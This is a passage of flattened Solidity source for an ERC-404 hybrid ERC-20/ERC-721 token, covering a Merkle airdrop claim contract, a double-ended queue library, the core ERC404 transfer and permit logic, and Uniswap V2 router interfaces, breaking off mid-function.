//SPDX-License-Identifier: MIT abstract contract ERC404MerkleClaim is IERC404MerkleClaim { bool public airdropIsOpen; bytes32 public airdropMerkleRoot; mapping(address => bool) public hasClaimedAirdrop; modifier whenAirdropIsOpen() { if (airdropMerkleRoot == 0 || !airdropIsOpen) { revert AirdropIsClosed(); } _; } function verifyProof( bytes32[] memory proof_, address claimer_, uint256 value_ ) public view returns (bool) { bytes32 leaf = keccak256( bytes.concat(keccak256(abi.encode(claimer_, value_))) ); if (MerkleProof.verify(proof_, airdropMerkleRoot, leaf)) { return true; } return false; } // To use, override this function in your contract, call // super.airdropMint(proof_) within your override function, then mint tokens. function airdropMint( bytes32[] memory proof_, uint256 value_ ) public virtual whenAirdropIsOpen { _validateAndRecordAirdropClaim(proof_, msg.sender, value_); } function _setAirdropMerkleRoot(bytes32 airdropMerkleRoot_) internal { airdropMerkleRoot = airdropMerkleRoot_; } function _toggleAirdropIsOpen() internal { airdropIsOpen = !airdropIsOpen; } function _validateAndRecordAirdropClaim( bytes32[] memory proof_, address claimer_, uint256 value_ ) internal { // Check that the address is eligible. if (!verifyProof(proof_, claimer_, value_)) { revert NotEligibleForAirdrop(); } // Check if address has already claimed their airdrop. if (hasClaimedAirdrop[claimer_]) { revert AirdropAlreadyClaimed(); } // Mark address as claimed. hasClaimedAirdrop[claimer_] = true; } }
pragma solidity ^0.8.20; interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be * reverted. * * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } interface IERC404 { error NotFound(); error InvalidTokenId(); error AlreadyExists(); error InvalidRecipient(); error InvalidSender(); error InvalidSpender(); error InvalidOperator(); error UnsafeRecipient(); error RecipientIsERC721TransferExempt(); error Unauthorized(); error InsufficientAllowance(); error DecimalsTooLow(); error PermitDeadlineExpired(); error InvalidSigner(); error InvalidApproval(); error OwnedIndexOverflow(); error MintLimitReached(); error InvalidExemption(); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function erc20TotalSupply() external view returns (uint256); function erc721TotalSupply() external view returns (uint256); function balanceOf(address owner_) external view returns (uint256); function erc721BalanceOf(address owner_) external view returns (uint256); function erc20BalanceOf(address owner_) external view returns (uint256); function erc721TransferExempt(address account_) external view returns (bool); function isApprovedForAll( address owner_, address operator_ ) external view returns (bool); function allowance( address owner_, address spender_ ) external view returns (uint256); function owned(address owner_) external view returns (uint256[] memory); function ownerOf(uint256 id_) external view returns (address erc721Owner); function tokenURI(uint256 id_) external view returns (string memory); function approve( address spender_, uint256 valueOrId_ ) external returns (bool); function erc20Approve( address spender_, uint256 value_ ) external returns (bool); function erc721Approve(address spender_, uint256 id_) external; function setApprovalForAll(address operator_, bool approved_) external; function transferFrom( address from_, address to_, uint256 valueOrId_ ) external returns (bool); function erc20TransferFrom( address from_, address to_, uint256 value_ ) external returns (bool); function erc721TransferFrom(address from_, address to_, uint256 id_) external; function transfer(address to_, uint256 amount_) external returns (bool); function getERC721QueueLength() external view returns (uint256); function getERC721TokensInQueue( uint256 start_, uint256 count_ ) external view returns (uint256[] memory); function setSelfERC721TransferExempt(bool state_) external; function safeTransferFrom(address from_, address to_, uint256 id_) external; function safeTransferFrom( address from_, address to_, uint256 id_, bytes calldata data_ ) external; function DOMAIN_SEPARATOR() external view returns (bytes32); function permit( address owner_, address spender_, uint256 value_, uint256 deadline_, uint8 v_, bytes32 r_, bytes32 s_ ) external; } library DoubleEndedQueue { /** * @dev An operation (e.g. {front}) couldn't be completed due to the queue being empty. */ error QueueEmpty(); /** * @dev A push operation couldn't be completed due to the queue being full. */ error QueueFull(); /** * @dev An operation (e.g. {at}) couldn't be completed due to an index being out of bounds. */ error QueueOutOfBounds(); /** * @dev Indices are 128 bits so begin and end are packed in a single storage slot for efficient access. * * Struct members have an underscore prefix indicating that they are "private" and should not be read or written to * directly. Use the functions provided below instead. Modifying the struct manually may violate assumptions and * lead to unexpected behavior. * * The first item is at data[begin] and the last item is at data[end - 1]. This range can wrap around. */ struct Uint256Deque { uint128 _begin; uint128 _end; mapping(uint128 index => uint256) _data; } /** * @dev Inserts an item at the end of the queue. * * Reverts with {QueueFull} if the queue is full. */ function pushBack(Uint256Deque storage deque, uint256 value) internal { unchecked { uint128 backIndex = deque._end; if (backIndex + 1 == deque._begin) revert QueueFull(); deque._data[backIndex] = value; deque._end = backIndex + 1; } } /** * @dev Removes the item at the end of the queue and returns it. * * Reverts with {QueueEmpty} if the queue is empty. */ function popBack( Uint256Deque storage deque ) internal returns (uint256 value) { unchecked { uint128 backIndex = deque._end; if (backIndex == deque._begin) revert QueueEmpty(); --backIndex; value = deque._data[backIndex]; delete deque._data[backIndex]; deque._end = backIndex; } } /** * @dev Inserts an item at the beginning of the queue. * * Reverts with {QueueFull} if the queue is full. */ function pushFront(Uint256Deque storage deque, uint256 value) internal { unchecked { uint128 frontIndex = deque._begin - 1; if (frontIndex == deque._end) revert QueueFull(); deque._data[frontIndex] = value; deque._begin = frontIndex; } } /** * @dev Removes the item at the beginning of the queue and returns it. * * Reverts with `QueueEmpty` if the queue is empty. */ function popFront( Uint256Deque storage deque ) internal returns (uint256 value) { unchecked { uint128 frontIndex = deque._begin; if (frontIndex == deque._end) revert QueueEmpty(); value = deque._data[frontIndex]; delete deque._data[frontIndex]; deque._begin = frontIndex + 1; } } /** * @dev Returns the item at the beginning of the queue. * * Reverts with `QueueEmpty` if the queue is empty. */ function front( Uint256Deque storage deque ) internal view returns (uint256 value) { if (empty(deque)) revert QueueEmpty(); return deque._data[deque._begin]; } /** * @dev Returns the item at the end of the queue. * * Reverts with `QueueEmpty` if the queue is empty. */ function back( Uint256Deque storage deque ) internal view returns (uint256 value) { if (empty(deque)) revert QueueEmpty(); unchecked { return deque._data[deque._end - 1]; } } /** * @dev Return the item at a position in the queue given by `index`, with the first item at 0 and last item at * `length(deque) - 1`. * * Reverts with `QueueOutOfBounds` if the index is out of bounds. */ function at( Uint256Deque storage deque, uint256 index ) internal view returns (uint256 value) { if (index >= length(deque)) revert QueueOutOfBounds(); // By construction, length is a uint128, so the check above ensures that index can be safely downcast to uint128 unchecked { return deque._data[deque._begin + uint128(index)]; } } /** * @dev Resets the queue back to being empty. * * NOTE: The current items are left behind in storage. This does not affect the functioning of the queue, but misses * out on potential gas refunds. */ function clear(Uint256Deque storage deque) internal { deque._begin = 0; deque._end = 0; } /** * @dev Returns the number of items in the queue. */ function length(Uint256Deque storage deque) internal view returns (uint256) { unchecked { return uint256(deque._end - deque._begin); } } /** * @dev Returns true if the queue is empty. */ function empty(Uint256Deque storage deque) internal view returns (bool) { return deque._end == deque._begin; } } library ERC721Events { event ApprovalForAll( address indexed owner, address indexed operator, bool approved ); event Approval( address indexed owner, address indexed spender, uint256 indexed id ); event Transfer(address indexed from, address indexed to, uint256 indexed id); } library ERC20Events { event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 amount); } abstract contract ERC404 is IERC404 { using DoubleEndedQueue for DoubleEndedQueue.Uint256Deque; /// @dev The queue of ERC-721 tokens stored in the contract. DoubleEndedQueue.Uint256Deque private _storedERC721Ids; /// @dev Token name string public name; /// @dev Token symbol string public symbol; /// @dev Decimals for ERC-20 representation uint8 public immutable decimals; /// @dev Units for ERC-20 representation uint256 public immutable units; /// @dev Total supply in ERC-20 representation uint256 public totalSupply; /// @dev Current mint counter which also represents the highest /// minted id, monotonically increasing to ensure accurate ownership uint256 public minted; /// @dev Initial chain id for EIP-2612 support uint256 internal immutable _INITIAL_CHAIN_ID; /// @dev Initial domain separator for EIP-2612 support bytes32 internal immutable _INITIAL_DOMAIN_SEPARATOR; /// @dev Balance of user in ERC-20 representation mapping(address => uint256) public balanceOf; /// @dev Allowance of user in ERC-20 representation mapping(address => mapping(address => uint256)) public allowance; /// @dev Approval in ERC-721 representaion mapping(uint256 => address) public getApproved; /// @dev Approval for all in ERC-721 representation mapping(address => mapping(address => bool)) public isApprovedForAll; /// @dev Packed representation of ownerOf and owned indices mapping(uint256 => uint256) internal _ownedData; /// @dev Array of owned ids in ERC-721 representation mapping(address => uint256[]) internal _owned; /// @dev Addresses that are exempt from ERC-721 transfer, typically for gas savings (pairs, routers, etc) mapping(address => bool) internal _erc721TransferExempt; /// @dev EIP-2612 nonces mapping(address => uint256) public nonces; /// @dev Address bitmask for packed ownership data uint256 private constant _BITMASK_ADDRESS = (1 << 160) - 1; /// @dev Owned index bitmask for packed ownership data uint256 private constant _BITMASK_OWNED_INDEX = ((1 << 96) - 1) << 160; /// @dev Constant for token id encoding uint256 public constant ID_ENCODING_PREFIX = 1 << 255; constructor(string memory name_, string memory symbol_, uint8 decimals_) { name = name_; symbol = symbol_; if (decimals_ < 18) { revert DecimalsTooLow(); } decimals = decimals_; units = 10 ** decimals; // EIP-2612 initialization _INITIAL_CHAIN_ID = block.chainid; _INITIAL_DOMAIN_SEPARATOR = _computeDomainSeparator(); } /// @notice Function to find owner of a given ERC-721 token function ownerOf( uint256 id_ ) public view virtual returns (address erc721Owner) { erc721Owner = _getOwnerOf(id_); if (!_isValidTokenId(id_)) { revert InvalidTokenId(); } if (erc721Owner == address(0)) { revert NotFound(); } } function owned( address owner_ ) public view virtual returns (uint256[] memory) { return _owned[owner_]; } function erc721BalanceOf( address owner_ ) public view virtual returns (uint256) { return _owned[owner_].length; } function erc20BalanceOf( address owner_ ) public view virtual returns (uint256) { return balanceOf[owner_]; } function erc20TotalSupply() public view virtual returns (uint256) { return totalSupply; } function erc721TotalSupply() public view virtual returns (uint256) { return minted; } function getERC721QueueLength() public view virtual returns (uint256) { return _storedERC721Ids.length(); } function getERC721TokensInQueue( uint256 start_, uint256 count_ ) public view virtual returns (uint256[] memory) { uint256[] memory tokensInQueue = new uint256[](count_); for (uint256 i = start_; i < start_ + count_; ) { tokensInQueue[i - start_] = _storedERC721Ids.at(i); unchecked { ++i; } } return tokensInQueue; } /// @notice tokenURI must be implemented by child contract function tokenURI(uint256 id_) public view virtual returns (string memory); /// @notice Function for token approvals /// @dev This function assumes the operator is attempting to approve /// an ERC-721 if valueOrId_ is a possibly valid ERC-721 token id. /// Unlike setApprovalForAll, spender_ must be allowed to be 0x0 so /// that approval can be revoked. function approve( address spender_, uint256 valueOrId_ ) public virtual returns (bool) { if (_isValidTokenId(valueOrId_)) { erc721Approve(spender_, valueOrId_); } else { return erc20Approve(spender_, valueOrId_); } return true; } function erc721Approve(address spender_, uint256 id_) public virtual { // Intention is to approve as ERC-721 token (id). address erc721Owner = _getOwnerOf(id_); if ( msg.sender != erc721Owner && !isApprovedForAll[erc721Owner][msg.sender] ) { revert Unauthorized(); } getApproved[id_] = spender_; emit ERC721Events.Approval(erc721Owner, spender_, id_); } /// @dev Providing type(uint256).max for approval value results in an /// unlimited approval that is not deducted from on transfers. function erc20Approve( address spender_, uint256 value_ ) public virtual returns (bool) { // Prevent granting 0x0 an ERC-20 allowance. if (spender_ == address(0)) { revert InvalidSpender(); } allowance[msg.sender][spender_] = value_; emit ERC20Events.Approval(msg.sender, spender_, value_); return true; } /// @notice Function for ERC-721 approvals function setApprovalForAll(address operator_, bool approved_) public virtual { // Prevent approvals to 0x0. if (operator_ == address(0)) { revert InvalidOperator(); } isApprovedForAll[msg.sender][operator_] = approved_; emit ERC721Events.ApprovalForAll(msg.sender, operator_, approved_); } /// @notice Function for mixed transfers from an operator that may be different than 'from'. /// @dev This function assumes the operator is attempting to transfer an ERC-721 /// if valueOrId is a possible valid token id. function transferFrom( address from_, address to_, uint256 valueOrId_ ) public virtual returns (bool) { if (_isValidTokenId(valueOrId_)) { erc721TransferFrom(from_, to_, valueOrId_); } else { // Intention is to transfer as ERC-20 token (value). return erc20TransferFrom(from_, to_, valueOrId_); } return true; } /// @notice Function for ERC-721 transfers from. /// @dev This function is recommended for ERC721 transfers. function erc721TransferFrom( address from_, address to_, uint256 id_ ) public virtual { // Prevent minting tokens from 0x0. if (from_ == address(0)) { revert InvalidSender(); } // Prevent burning tokens to 0x0. if (to_ == address(0)) { revert InvalidRecipient(); } if (from_ != _getOwnerOf(id_)) { revert Unauthorized(); } // Check that the operator is either the sender or approved for the transfer. if ( msg.sender != from_ && !isApprovedForAll[from_][msg.sender] && msg.sender != getApproved[id_] ) { revert Unauthorized(); } // We only need to check ERC-721 transfer exempt status for the recipient // since the sender being ERC-721 transfer exempt means they have already // had their ERC-721s stripped away during the rebalancing process. if (erc721TransferExempt(to_)) { revert RecipientIsERC721TransferExempt(); } // Transfer 1 * units ERC-20 and 1 ERC-721 token. // ERC-721 transfer exemptions handled above. Can't make it to this point if either is transfer exempt. _transferERC20(from_, to_, units); _transferERC721(from_, to_, id_); } /// @notice Function for ERC-20 transfers from. /// @dev This function is recommended for ERC20 transfers function erc20TransferFrom( address from_, address to_, uint256 value_ ) public virtual returns (bool) { // Prevent minting tokens from 0x0. if (from_ == address(0)) { revert InvalidSender(); } // Prevent burning tokens to 0x0. if (to_ == address(0)) { revert InvalidRecipient(); } uint256 allowed = allowance[from_][msg.sender]; // Check that the operator has sufficient allowance. if (allowed != type(uint256).max) { allowance[from_][msg.sender] = allowed - value_; } // Transferring ERC-20s directly requires the _transferERC20WithERC721 function. // Handles ERC-721 exemptions internally. return _transferERC20WithERC721(from_, to_, value_); } /// @notice Function for ERC-20 transfers. /// @dev This function assumes the operator is attempting to transfer as ERC-20 /// given this function is only supported on the ERC-20 interface. /// Treats even large amounts that are valid ERC-721 ids as ERC-20s. function transfer(address to_, uint256 value_) public virtual returns (bool) { // Prevent burning tokens to 0x0. if (to_ == address(0)) { revert InvalidRecipient(); } // Transferring ERC-20s directly requires the _transferERC20WithERC721 function. // Handles ERC-721 exemptions internally. return _transferERC20WithERC721(msg.sender, to_, value_); } /// @notice Function for ERC-721 transfers with contract support. /// This function only supports moving valid ERC-721 ids, as it does not exist on the ERC-20 /// spec and will revert otherwise. function safeTransferFrom( address from_, address to_, uint256 id_ ) public virtual { safeTransferFrom(from_, to_, id_, ""); } /// @notice Function for ERC-721 transfers with contract support and callback data. /// This function only supports moving valid ERC-721 ids, as it does not exist on the /// ERC-20 spec and will revert otherwise. function safeTransferFrom( address from_, address to_, uint256 id_, bytes memory data_ ) public virtual { if (!_isValidTokenId(id_)) { revert InvalidTokenId(); } transferFrom(from_, to_, id_); if ( to_.code.length != 0 && IERC721Receiver(to_).onERC721Received(msg.sender, from_, id_, data_) != IERC721Receiver.onERC721Received.selector ) { revert UnsafeRecipient(); } } /// @notice Function for EIP-2612 permits (ERC-20 only). /// @dev Providing type(uint256).max for permit value results in an /// unlimited approval that is not deducted from on transfers. function permit( address owner_, address spender_, uint256 value_, uint256 deadline_, uint8 v_, bytes32 r_, bytes32 s_ ) public virtual { if (deadline_ < block.timestamp) { revert PermitDeadlineExpired(); } // permit cannot be used for ERC-721 token approvals, so ensure // the value does not fall within the valid range of ERC-721 token ids. if (_isValidTokenId(value_)) { revert InvalidApproval(); } if (spender_ == address(0)) { revert InvalidSpender(); } unchecked { address recoveredAddress = ecrecover( keccak256( abi.encodePacked( "\x19\x01", DOMAIN_SEPARATOR(), keccak256( abi.encode( keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ), owner_, spender_, value_, nonces[owner_]++, deadline_ ) ) ) ), v_, r_, s_ ); if (recoveredAddress == address(0) || recoveredAddress != owner_) { revert InvalidSigner(); } allowance[recoveredAddress][spender_] = value_; } emit ERC20Events.Approval(owner_, spender_, value_); } /// @notice Returns domain initial domain separator, or recomputes if chain id is not equal to initial chain id function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { return block.chainid == _INITIAL_CHAIN_ID ? _INITIAL_DOMAIN_SEPARATOR : _computeDomainSeparator(); } function supportsInterface( bytes4 interfaceId ) public view virtual returns (bool) { return interfaceId == type(IERC404).interfaceId || interfaceId == type(IERC165).interfaceId; } /// @notice Function for self-exemption function setSelfERC721TransferExempt(bool state_) public virtual { _setERC721TransferExempt(msg.sender, state_); } /// @notice Function to check if address is transfer exempt function erc721TransferExempt( address target_ ) public view virtual returns (bool) { return target_ == address(0) || _erc721TransferExempt[target_]; } /// @notice For a token token id to be considered valid, it just needs /// to fall within the range of possible token ids, it does not /// necessarily have to be minted yet. function _isValidTokenId(uint256 id_) internal pure returns (bool) { return id_ > ID_ENCODING_PREFIX && id_ != type(uint256).max; } /// @notice Internal function to compute domain separator for EIP-2612 permits function _computeDomainSeparator() internal view virtual returns (bytes32) { return keccak256( abi.encode( keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ), keccak256(bytes(name)), keccak256("1"), block.chainid, address(this) ) ); } /// @notice This is the lowest level ERC-20 transfer function, which /// should be used for both normal ERC-20 transfers as well as minting. /// Note that this function allows transfers to and from 0x0. function _transferERC20( address from_, address to_, uint256 value_ ) internal virtual { // Minting is a special case for which we should not check the balance of // the sender, and we should increase the total supply. if (from_ == address(0)) { totalSupply += value_; } else { // Deduct value from sender's balance. balanceOf[from_] -= value_; } // Update the recipient's balance. // Can be unchecked because on mint, adding to totalSupply is checked, and on transfer balance deduction is checked. unchecked { balanceOf[to_] += value_; } emit ERC20Events.Transfer(from_, to_, value_); } /// @notice Consolidated record keeping function for transferring ERC-721s. /// @dev Assign the token to the new owner, and remove from the old owner. /// Note that this function allows transfers to and from 0x0. /// Does not handle ERC-721 exemptions. function _transferERC721( address from_, address to_, uint256 id_ ) internal virtual { // If this is not a mint, handle record keeping for transfer from previous owner. if (from_ != address(0)) { // On transfer of an NFT, any previous approval is reset. delete getApproved[id_]; uint256 updatedId = _owned[from_][_owned[from_].length - 1]; if (updatedId != id_) { uint256 updatedIndex = _getOwnedIndex(id_); // update _owned for sender _owned[from_][updatedIndex] = updatedId; // update index for the moved id _setOwnedIndex(updatedId, updatedIndex); } // pop _owned[from_].pop(); } // Check if this is a burn. if (to_ != address(0)) { // If not a burn, update the owner of the token to the new owner. // Update owner of the token to the new owner. _setOwnerOf(id_, to_); // Push token onto the new owner's stack. _owned[to_].push(id_); // Update index for new owner's stack. _setOwnedIndex(id_, _owned[to_].length - 1); } else { // If this is a burn, reset the owner of the token to 0x0 by deleting the token from _ownedData. delete _ownedData[id_]; } emit ERC721Events.Transfer(from_, to_, id_); } /// @notice Internal function for ERC-20 transfers. Also handles any ERC-721 transfers that may be required. // Handles ERC-721 exemptions. function _transferERC20WithERC721( address from_, address to_, uint256 value_ ) internal virtual returns (bool) { uint256 erc20BalanceOfSenderBefore = erc20BalanceOf(from_); uint256 erc20BalanceOfReceiverBefore = erc20BalanceOf(to_); _transferERC20(from_, to_, value_); // Preload for gas savings on branches bool isFromERC721TransferExempt = erc721TransferExempt(from_); bool isToERC721TransferExempt = erc721TransferExempt(to_); // Skip _withdrawAndStoreERC721 and/or _retrieveOrMintERC721 for ERC-721 transfer exempt addresses // 1) to save gas // 2) because ERC-721 transfer exempt addresses won't always have/need ERC-721s corresponding to their ERC20s. if (isFromERC721TransferExempt && isToERC721TransferExempt) { // Case 1) Both sender and recipient are ERC-721 transfer exempt. No ERC-721s need to be transferred. // NOOP. } else if (isFromERC721TransferExempt) { // Case 2) The sender is ERC-721 transfer exempt, but the recipient is not. Contract should not attempt // to transfer ERC-721s from the sender, but the recipient should receive ERC-721s // from the bank/minted for any whole number increase in their balance. // Only cares about whole number increments. uint256 tokensToRetrieveOrMint = (balanceOf[to_] / units) - (erc20BalanceOfReceiverBefore / units); for (uint256 i = 0; i < tokensToRetrieveOrMint; ) { _retrieveOrMintERC721(to_); unchecked { ++i; } } } else if (isToERC721TransferExempt) { // Case 3) The sender is not ERC-721 transfer exempt, but the recipient is. Contract should attempt // to withdraw and store ERC-721s from the sender, but the recipient should not // receive ERC-721s from the bank/minted. // Only cares about whole number increments. uint256 tokensToWithdrawAndStore = (erc20BalanceOfSenderBefore / units) - (balanceOf[from_] / units); for (uint256 i = 0; i < tokensToWithdrawAndStore; ) { _withdrawAndStoreERC721(from_); unchecked { ++i; } } } else { // Case 4) Neither the sender nor the recipient are ERC-721 transfer exempt. // Strategy: // 1. First deal with the whole tokens. These are easy and will just be transferred. // 2. Look at the fractional part of the value: // a) If it causes the sender to lose a whole token that was represented by an NFT due to a // fractional part being transferred, withdraw and store an additional NFT from the sender. // b) If it causes the receiver to gain a whole new token that should be represented by an NFT // due to receiving a fractional part that completes a whole token, retrieve or mint an NFT to the recevier. // Whole tokens worth of ERC-20s get transferred as ERC-721s without any burning/minting. uint256 nftsToTransfer = value_ / units; for (uint256 i = 0; i < nftsToTransfer; ) { // Pop from sender's ERC-721 stack and transfer them (LIFO) uint256 indexOfLastToken = _owned[from_].length - 1; uint256 tokenId = _owned[from_][indexOfLastToken]; _transferERC721(from_, to_, tokenId); unchecked { ++i; } } // If the transfer changes either the sender or the recipient's holdings from a fractional to a non-fractional // amount (or vice versa), adjust ERC-721s. // First check if the send causes the sender to lose a whole token that was represented by an ERC-721 // due to a fractional part being transferred. // // Process: // Take the difference between the whole number of tokens before and after the transfer for the sender. // If that difference is greater than the number of ERC-721s transferred (whole units), then there was // an additional ERC-721 lost due to the fractional portion of the transfer. // If this is a self-send and the before and after balances are equal (not always the case but often), // then no ERC-721s will be lost here. if ( erc20BalanceOfSenderBefore / units - erc20BalanceOf(from_) / units > nftsToTransfer ) { _withdrawAndStoreERC721(from_); } // Then, check if the transfer causes the receiver to gain a whole new token which requires gaining // an additional ERC-721. // // Process: // Take the difference between the whole number of tokens before and after the transfer for the recipient. // If that difference is greater than the number of ERC-721s transferred (whole units), then there was // an additional ERC-721 gained due to the fractional portion of the transfer. // Again, for self-sends where the before and after balances are equal, no ERC-721s will be gained here. if ( erc20BalanceOf(to_) / units - erc20BalanceOfReceiverBefore / units > nftsToTransfer ) { _retrieveOrMintERC721(to_); } } return true; } /// @notice Internal function for ERC20 minting /// @dev This function will allow minting of new ERC20s. /// If mintCorrespondingERC721s_ is true, and the recipient is not ERC-721 exempt, it will /// also mint the corresponding ERC721s. /// Handles ERC-721 exemptions. function _mintERC20(address to_, uint256 value_) internal virtual { /// You cannot mint to the zero address (you can't mint and immediately burn in the same transfer). if (to_ == address(0)) { revert InvalidRecipient(); } if (totalSupply + value_ > ID_ENCODING_PREFIX) { revert MintLimitReached(); } _transferERC20WithERC721(address(0), to_, value_); } /// @notice Internal function for ERC-721 minting and retrieval from the bank. /// @dev This function will allow minting of new ERC-721s up to the total fractional supply. It will /// first try to pull from the bank, and if the bank is empty, it will mint a new token. /// Does not handle ERC-721 exemptions. function _retrieveOrMintERC721(address to_) internal virtual { if (to_ == address(0)) { revert InvalidRecipient(); } uint256 id; if (!_storedERC721Ids.empty()) { // If there are any tokens in the bank, use those first. // Pop off the end of the queue (FIFO). id = _storedERC721Ids.popBack(); } else { // Otherwise, mint a new token, should not be able to go over the total fractional supply. ++minted; // Reserve max uint256 for approvals if (minted == type(uint256).max) { revert MintLimitReached(); } id = ID_ENCODING_PREFIX + minted; } address erc721Owner = _getOwnerOf(id); // The token should not already belong to anyone besides 0x0 or this contract. // If it does, something is wrong, as this should never happen. if (erc721Owner != address(0)) { revert AlreadyExists(); } // Transfer the token to the recipient, either transferring from the contract's bank or minting. // Does not handle ERC-721 exemptions. _transferERC721(erc721Owner, to_, id); } /// @notice Internal function for ERC-721 deposits to bank (this contract). /// @dev This function will allow depositing of ERC-721s to the bank, which can be retrieved by future minters. // Does not handle ERC-721 exemptions. function _withdrawAndStoreERC721(address from_) internal virtual { if (from_ == address(0)) { revert InvalidSender(); } // Retrieve the latest token added to the owner's stack (LIFO). uint256 id = _owned[from_][_owned[from_].length - 1]; // Transfer to 0x0. // Does not handle ERC-721 exemptions. _transferERC721(from_, address(0), id); // Record the token in the contract's bank queue. _storedERC721Ids.pushFront(id); } /// @notice Initialization function to set pairs / etc, saving gas by avoiding mint / burn on unnecessary targets function _setERC721TransferExempt( address target_, bool state_ ) internal virtual { if (target_ == address(0)) { revert InvalidExemption(); } // Adjust the ERC721 balances of the target to respect exemption rules. // Despite this logic, it is still recommended practice to exempt prior to the target // having an active balance. if (state_) { _clearERC721Balance(target_); } else { _reinstateERC721Balance(target_); } _erc721TransferExempt[target_] = state_; } /// @notice Function to reinstate balance on exemption removal function _reinstateERC721Balance(address target_) private { uint256 expectedERC721Balance = erc20BalanceOf(target_) / units; uint256 actualERC721Balance = erc721BalanceOf(target_); for (uint256 i = 0; i < expectedERC721Balance - actualERC721Balance; ) { // Transfer ERC721 balance in from pool _retrieveOrMintERC721(target_); unchecked { ++i; } } } /// @notice Function to clear balance on exemption inclusion function _clearERC721Balance(address target_) private { uint256 erc721Balance = erc721BalanceOf(target_); for (uint256 i = 0; i < erc721Balance; ) { // Transfer out ERC721 balance _withdrawAndStoreERC721(target_); unchecked { ++i; } } } function _getOwnerOf( uint256 id_ ) internal view virtual returns (address ownerOf_) { uint256 data = _ownedData[id_]; assembly { ownerOf_ := and(data, _BITMASK_ADDRESS) } } function _setOwnerOf(uint256 id_, address owner_) internal virtual { uint256 data = _ownedData[id_]; assembly { data := add( and(data, _BITMASK_OWNED_INDEX), and(owner_, _BITMASK_ADDRESS) ) } _ownedData[id_] = data; } function _getOwnedIndex( uint256 id_ ) internal view virtual returns (uint256 ownedIndex_) { uint256 data = _ownedData[id_]; assembly { ownedIndex_ := shr(160, data) } } function _setOwnedIndex(uint256 id_, uint256 index_) internal virtual { uint256 data = _ownedData[id_]; if (index_ > _BITMASK_OWNED_INDEX >> 160) { revert OwnedIndexOverflow(); } assembly { data := add( and(data, _BITMASK_ADDRESS), and(shl(160, index_), _BITMASK_OWNED_INDEX) ) } _ownedData[id_] = data; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } //SPDX-License-Identifier: MIT abstract contract ERC404UniswapV2Exempt is ERC404 { constructor(address uniswapV2Router_) { IUniswapV2Router02 uniswapV2RouterContract = IUniswapV2Router02( uniswapV2Router_ ); // Set the Uniswap v2 router as exempt. _setERC721TransferExempt(uniswapV2Router_, true); // Determine the Uniswap v2 pair address for this token. address uniswapV2Pair = _getUniswapV2Pair( uniswapV2RouterContract.factory(), uniswapV2RouterContract.WETH() ); // Set the Uniswap v2 pair as exempt. _setERC721TransferExempt(uniswapV2Pair, true); } function _getUniswapV2Pair( address 